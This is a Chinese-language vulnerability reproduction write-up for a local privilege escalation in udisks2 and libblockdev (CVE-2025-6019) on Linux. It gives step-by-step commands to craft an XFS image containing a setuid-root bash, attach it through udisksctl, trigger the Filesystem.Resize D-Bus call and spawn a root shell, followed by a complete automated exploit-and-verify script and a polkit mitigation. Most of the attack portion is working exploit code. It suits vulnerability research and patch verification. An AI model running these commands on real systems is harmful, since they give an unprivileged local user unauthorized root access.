udisks2 libblockdev 本地提权

一、基本信息

  • 影响版本: udisks2(依赖 libblockdev)
  • 漏洞类型: 本地提权(LPE)

二、漏洞简介

‌‌‌‌ udisks2 结合 libblockdev 中权限验证缺陷,导致本地用户可绕过限制挂载 suid 文件系统镜像,实现提权至 root 的漏洞(LPE),无需 sudo,但需活动登录会话权限,默认图形终端或本地 TTY。
大多数 Linux 发行版默认包含的 udisks 守护程序进行攻击,并允许“allow_active”用户获得完全的 root 权限。


三、环境搭建

[!使用版本]

‌‌‌‌  本次环境受影响环境,使用kali linux (2024.3)版本示例。

1
2
3
4
5
6
dpkg -l | grep udisks2

cat /etc/os-release

//Ubuntu 22.04.4 LTS 环境失败
//Ubuntu 18.04.4 LTS 环境失败

示:

四、复现步骤

1 准备镜像文件

‌‌‌‌  本地提前生成镜像文件,需安装apt-get install xfsprogs

1
2
3
4
5
6
7
dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash
umount ./xfs.mount

示:
生成xfs.image

2 漏洞利用

‌‌‌‌  拥有普通用户账号,testuser普通权限,模拟普通用户提权获取root。

示:
登录普通用户账号

‌‌‌‌  将提前准备好的镜像文件上传到服务器中。

示:
上传镜像文件

1
2
3
4
5
6
7
8
9
10
udisksctl loop-setup -f ./xfs.image --no-user-interaction

while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &

gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'


‌‌‌‌  等待/tmp/blockdev生成文件。

1
2
3
/tmp/blockdev*/bash -p
id
whoami

示:

3 一键验证脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/bin/bash

set -e

if [ "$(id -u)" -ne 0 ]; then
echo "[!] 请以 root 用户运行此脚本"
exit 1
fi


echo "[*] 创建 xfs 镜像文件..."
dd if=/dev/zero of=./xfs.image bs=1M count=300
mkfs.xfs ./xfs.image
mkdir -p ./xfs.mount
mount -t xfs ./xfs.image ./xfs.mount
cp /bin/bash ./xfs.mount
chmod 04555 ./xfs.mount/bash
umount ./xfs.mount
mv xfs.image /tmp/xfs.image
rm -rf xfs.mount
chmod 777 /tmp/xfs.image
rm -rf /tmp/cve2025-6019.txt

echo "[*] 创建随机用户..."
RAND_USER="user_$(head /dev/urandom | tr -dc a-z0-9 | head -c6)"
RAND_PASS="$(head /dev/urandom | tr -dc 'A-Za-z0-9@#%^+=_' | head -c12)"
useradd -m "$RAND_USER"
echo "$RAND_USER:$RAND_PASS" | chpasswd

# Ubuntu新版默认启用了更严格的 PAM 和密码管理策略,需要使用下述创建用户
# RAND_USER="user_$(head /dev/urandom | tr -dc a-z0-9 | head -c6)"
# RAND_PASS="$(head /dev/urandom | tr -dc 'A-Za-z0-9@#%^+=_' | head -c12)"
# ENCRYPTED_PASS=$(openssl passwd -6 "$RAND_PASS")
# useradd -m -p "$ENCRYPTED_PASS" "$RAND_USER"


# 创建用户脚本
USER_SCRIPT="/home/$RAND_USER/trigger.sh"
cat << EOF > "$USER_SCRIPT"
#!/bin/bash
set -e
echo "[*] 用户 \$(whoami) 开始触发漏洞..."

# 动态获取 loop 设备名
LOOP_OUTPUT=\$(udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction)
LOOP_DEV=\$(echo "\$LOOP_OUTPUT" | grep -o '/dev/loop[0-9]*')
LOOP_NAME=\$(basename "\$LOOP_DEV")

echo "[*] 绑定设备为:\$LOOP_NAME"
echo "\$LOOP_NAME" > /tmp/loopname.txt


# 等待漏洞触发的文件出现
while true; do
/tmp/blockdev*/bash -c 'sleep 2; ls -l /tmp/blockdev*/bash' && break
done 2>/dev/null &

sleep 3

# 触发漏洞(动态使用 loop 名称)
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/\$LOOP_NAME \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' >/dev/null
sleep 2
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/\$LOOP_NAME \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' >/dev/null
EOF

chmod +x "$USER_SCRIPT"
chown "$RAND_USER:$RAND_USER" "$USER_SCRIPT"

echo "[*] 以普通用户 $RAND_USER 执行提权脚本..."
su - "$RAND_USER" -c "bash ~/trigger.sh" || true

sleep 10
su - "$RAND_USER" -c "/tmp/blockdev*/bash -p -c 'whoami > /tmp/cve2025-6019.txt'"

LOOP_NAME=$(cat /tmp/loopname.txt)
umount "/dev/$LOOP_NAME" 2>/dev/null
losetup -d "/dev/$LOOP_NAME" 2>/dev/null
userdel -r "$RAND_USER" 2>/dev/null
rm -rf /tmp/xfs.image

if [ -f /tmp/cve2025-6019.txt ]; then
if grep -q '^root$' /tmp/cve2025-6019.txt; then
echo "[*] 存在CVE-2025-6019漏洞,已提权为 root。路径:/tmp/cve2025-6019.txt"
rm -rf /tmp/blockdev.* /tmp/loopname.txt
else
echo "[!] 普通权限,未提权成功, 路径:/tmp/cve2025-6019.txt"
rm -rf /tmp/blockdev.* /tmp/loopname.txt
fi
else
echo "[!] 漏洞利用失败,未提权成功"
fi

示:
漏洞存在

4 其他

‌‌‌‌  图形界面终端(本地活动会话)下,会返回YES,在命令行SSH终端下,会显示challenge,系统认为你不是活动会话用户,权限受到限制,需要额外认证或拒绝,无法提权root.

1
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot

示:
图形界面终端(本地活动会话)

ssh终端结果


五、修复建议

‌‌‌‌  修改/usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy文件,将org.freedesktop.udisks2.modify-device,YES改为auth_admin,重启polkit服务。

1
2
3
4
vim /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy
//org.freedesktop.udisks2.modify-device YES改为auth_admin。

systemctl restart polkit



六、参考资料